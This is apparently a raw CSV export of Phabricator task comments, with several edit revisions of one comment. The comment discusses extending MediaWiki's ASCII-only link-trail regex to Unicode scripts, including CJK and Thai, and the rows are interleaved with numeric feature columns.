However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).

We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)

So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Link|Links]]"") is just an **old (deprecated) trick** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:

The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.

And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
",,,1469583675,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,2.7142857142857144,0.0,0.14285714285714285,0.5714285714285714,1.5714285714285714,9.714285714285714,1.5714285714285714,0.14285714285714285,0.0,0.2857142857142857,2.4285714285714284,0.14285714285714285,0.0,0.7142857142857143,0.42857142857142855,1.5714285714285714,0.2857142857142857,6.571428571428571,11.285714285714286,0.0,1.7142857142857142,0.7142857142857143,0.0,0.0,0.14285714285714285,0.2857142857142857,0.0,0.2857142857142857,1.0,1.0,0.14285714285714285,3.7142857142857144,0.8571428571428571,1.2857142857142858,0.7142857142857143,0.0,0.0,0.0,0.2857142857142857,0.14285714285714285,0.14285714285714285,0.7142857142857143,0.2857142857142857,0.8571428571428571,0.14285714285714285,0.2857142857142857,0.0,0.7142857142857143,0.2857142857142857,14.285714285714286,0.2857142857142857,0.8571428571428571,0.0,0.5714285714285714,0.0,0.2857142857142857,0.0,0.0,0.5714285714285714,0.0,0.0,1.1428571428571428,0.0,0.2857142857142857,0.0,1.0,0.0,4.0,2.2857142857142856,9.714285714285714,1.4285714285714286,3.857142857142857,7.285714285714286,0.0,0.0,0.2857142857142857,0.0,4.571428571428571,0.0,0.42857142857142855,0.0,3.5714285714285716,11.285714285714286,5.857142857142857,0.14285714285714285,1.7142857142857142,0.0,3.5714285714285716,0.0,1.4285714285714286,1.1428571428571428,0.14285714285714285,1.8571428571428572,0.2857142857142857,0.0,2.5714285714285716,4.05939393939394,0.7195093795093795,"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).

There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].

To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
At each revision of Unicode, we would need to regenerate this matching regexp.

Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers

However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).

We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)

So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Link|Links]]"") is just an **old (deprecated) trick** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:

The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.

And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
"
701063,The default (English) link trail ($linkTrail) only matches [a-z],"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).

There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].

To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
At each revision of Unicode, we would need to regenerate this matching regexp.

Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers

However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).

We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)

So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an **old (deprecated) trick** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:

The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.

And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
",,,1469583643,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,2.7142857142857144,0.0,0.14285714285714285,0.5714285714285714,1.5714285714285714,9.714285714285714,1.5714285714285714,0.14285714285714285,0.0,0.2857142857142857,2.4285714285714284,0.14285714285714285,0.0,0.7142857142857143,0.42857142857142855,1.5714285714285714,0.2857142857142857,6.571428571428571,11.285714285714286,0.0,1.7142857142857142,0.7142857142857143,0.0,0.0,0.14285714285714285,0.2857142857142857,0.0,0.2857142857142857,1.0,1.0,0.14285714285714285,3.7142857142857144,0.8571428571428571,1.2857142857142858,0.7142857142857143,0.0,0.0,0.0,0.2857142857142857,0.14285714285714285,0.14285714285714285,0.7142857142857143,0.2857142857142857,0.8571428571428571,0.14285714285714285,0.2857142857142857,0.0,0.7142857142857143,0.2857142857142857,14.285714285714286,0.2857142857142857,0.8571428571428571,0.0,0.5714285714285714,0.0,0.2857142857142857,0.0,0.0,0.5714285714285714,0.0,0.0,1.1428571428571428,0.0,0.2857142857142857,0.0,1.0,0.0,4.0,2.2857142857142856,9.714285714285714,1.4285714285714286,3.857142857142857,7.285714285714286,0.0,0.0,0.2857142857142857,0.0,4.571428571428571,0.0,0.42857142857142855,0.0,3.5714285714285716,11.285714285714286,5.857142857142857,0.14285714285714285,1.7142857142857142,0.0,3.5714285714285716,0.0,1.4285714285714286,1.1428571428571428,0.14285714285714285,1.8571428571428572,0.2857142857142857,0.0,2.4285714285714284,4.062279942279943,0.7180663780663782,"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).

There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].

To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
At each revision of Unicode, we would need to regenerate this matching regexp.

Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers

However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).

We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)

So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an **old (deprecated) trick** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:

The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.

And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
"
701062,The default (English) link trail ($linkTrail) only matches [a-z],"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).

There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].

To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
At each revision of Unicode, we would need to regenerate this matching regexp.

Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers

However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).

We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)

So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an ***old (deprecated) trick*** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:

The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.

And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
",,,1469583625,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,2.7142857142857144,0.0,0.14285714285714285,0.5714285714285714,1.5714285714285714,9.571428571428571,1.5714285714285714,0.14285714285714285,0.0,0.2857142857142857,2.4285714285714284,0.14285714285714285,0.0,0.7142857142857143,0.42857142857142855,1.5714285714285714,0.2857142857142857,6.571428571428571,11.285714285714286,0.0,1.7142857142857142,0.7142857142857143,0.0,0.0,0.14285714285714285,0.2857142857142857,0.0,0.2857142857142857,1.0,1.0,0.14285714285714285,3.7142857142857144,0.8571428571428571,1.2857142857142858,0.7142857142857143,0.0,0.0,0.0,0.2857142857142857,0.14285714285714285,0.14285714285714285,0.7142857142857143,0.2857142857142857,0.8571428571428571,0.14285714285714285,0.2857142857142857,0.0,0.7142857142857143,0.2857142857142857,14.285714285714286,0.2857142857142857,0.8571428571428571,0.0,0.5714285714285714,0.0,0.2857142857142857,0.0,0.0,0.5714285714285714,0.0,0.0,1.1428571428571428,0.0,0.2857142857142857,0.0,1.0,0.0,4.0,2.2857142857142856,9.714285714285714,1.4285714285714286,3.857142857142857,7.285714285714286,0.0,0.0,0.2857142857142857,0.0,4.571428571428571,0.0,0.42857142857142855,0.0,3.5714285714285716,11.285714285714286,5.857142857142857,0.14285714285714285,1.7142857142857142,0.0,3.5714285714285716,0.0,1.4285714285714286,1.1428571428571428,0.14285714285714285,1.8571428571428572,0.2857142857142857,0.0,2.4285714285714284,4.051890331890332,0.7201154401154402,"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).

There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].

To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
At each revision of Unicode, we would need to regenerate this matching regexp.

Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers

However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).

We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)

So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an ***old (deprecated) trick*** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:

The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.

And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
"
701061,The default (English) link trail ($linkTrail) only matches [a-z],"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).

There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].

To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
At each revision of Unicode, we would need to regenerate this matching regexp.

Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers

However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).

We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)

So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an ***old (deprecated) trick*** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:

The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.

And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
",,,1469583610,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,2.7142857142857144,0.0,0.14285714285714285,0.5714285714285714,1.5714285714285714,9.571428571428571,1.5714285714285714,0.14285714285714285,0.0,0.2857142857142857,2.4285714285714284,0.14285714285714285,0.0,0.7142857142857143,0.42857142857142855,1.5714285714285714,0.2857142857142857,6.571428571428571,11.285714285714286,0.0,1.7142857142857142,0.7142857142857143,0.0,0.0,0.14285714285714285,0.2857142857142857,0.0,0.2857142857142857,1.0,1.0,0.14285714285714285,3.7142857142857144,0.8571428571428571,1.2857142857142858,0.7142857142857143,0.0,0.0,0.0,0.2857142857142857,0.14285714285714285,0.14285714285714285,0.7142857142857143,0.2857142857142857,0.8571428571428571,0.14285714285714285,0.2857142857142857,0.0,0.7142857142857143,0.2857142857142857,14.285714285714286,0.2857142857142857,0.8571428571428571,0.0,0.5714285714285714,0.0,0.2857142857142857,0.0,0.0,0.5714285714285714,0.0,0.0,1.1428571428571428,0.0,0.2857142857142857,0.0,1.0,0.0,4.0,2.2857142857142856,9.714285714285714,1.4285714285714286,3.857142857142857,7.285714285714286,0.0,0.0,0.2857142857142857,0.0,4.571428571428571,0.0,0.42857142857142855,0.0,3.5714285714285716,11.285714285714286,5.857142857142857,0.14285714285714285,1.7142857142857142,0.0,3.5714285714285716,0.0,1.4285714285714286,1.1428571428571428,0.14285714285714285,1.8571428571428572,0.2857142857142857,0.0,2.4285714285714284,4.051890331890332,0.7201154401154402,"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).

There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].

To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
At each revision of Unicode, we would need to regenerate this matching regexp.

Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers

However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).

We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)

So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an ***old (deprecated) trick*** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:

The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.

And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
"
701058,The default (English) link trail ($linkTrail) only matches [a-z],"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).

There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].

To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
At each revision of Unicode, we would need to regenerate this matching regexp.

Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers

However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).

We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)

So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an old **trick*** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:

The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.

And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
",,,1469583362,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,2.7142857142857144,0.0,0.14285714285714285,0.5714285714285714,1.5714285714285714,9.428571428571429,1.5714285714285714,0.14285714285714285,0.0,0.2857142857142857,2.4285714285714284,0.14285714285714285,0.0,0.7142857142857143,0.42857142857142855,1.5714285714285714,0.2857142857142857,6.571428571428571,11.285714285714286,0.0,1.7142857142857142,0.7142857142857143,0.0,0.0,0.14285714285714285,0.2857142857142857,0.0,0.2857142857142857,1.0,1.0,0.14285714285714285,3.7142857142857144,0.8571428571428571,1.2857142857142858,0.7142857142857143,0.0,0.0,0.0,0.2857142857142857,0.14285714285714285,0.14285714285714285,0.7142857142857143,0.2857142857142857,0.8571428571428571,0.14285714285714285,0.2857142857142857,0.0,0.7142857142857143,0.2857142857142857,14.571428571428571,0.2857142857142857,0.8571428571428571,0.0,0.5714285714285714,0.0,0.2857142857142857,0.0,0.0,0.5714285714285714,0.0,0.0,1.1428571428571428,0.0,0.2857142857142857,0.0,1.0,0.0,4.0,2.2857142857142856,9.714285714285714,1.4285714285714286,3.857142857142857,7.285714285714286,0.0,0.0,0.2857142857142857,0.0,4.571428571428571,0.0,0.42857142857142855,0.0,3.5714285714285716,11.285714285714286,5.857142857142857,0.14285714285714285,1.7142857142857142,0.0,3.5714285714285716,0.0,1.4285714285714286,1.1428571428571428,0.14285714285714285,1.8571428571428572,0.2857142857142857,0.0,2.4285714285714284,4.057720057720057,0.7186147186147186,"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).

There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].

To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
At each revision of Unicode, we would need to regenerate this matching regexp.

Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers

However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).

We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)

So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an old **trick*** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:

The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.

And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
"
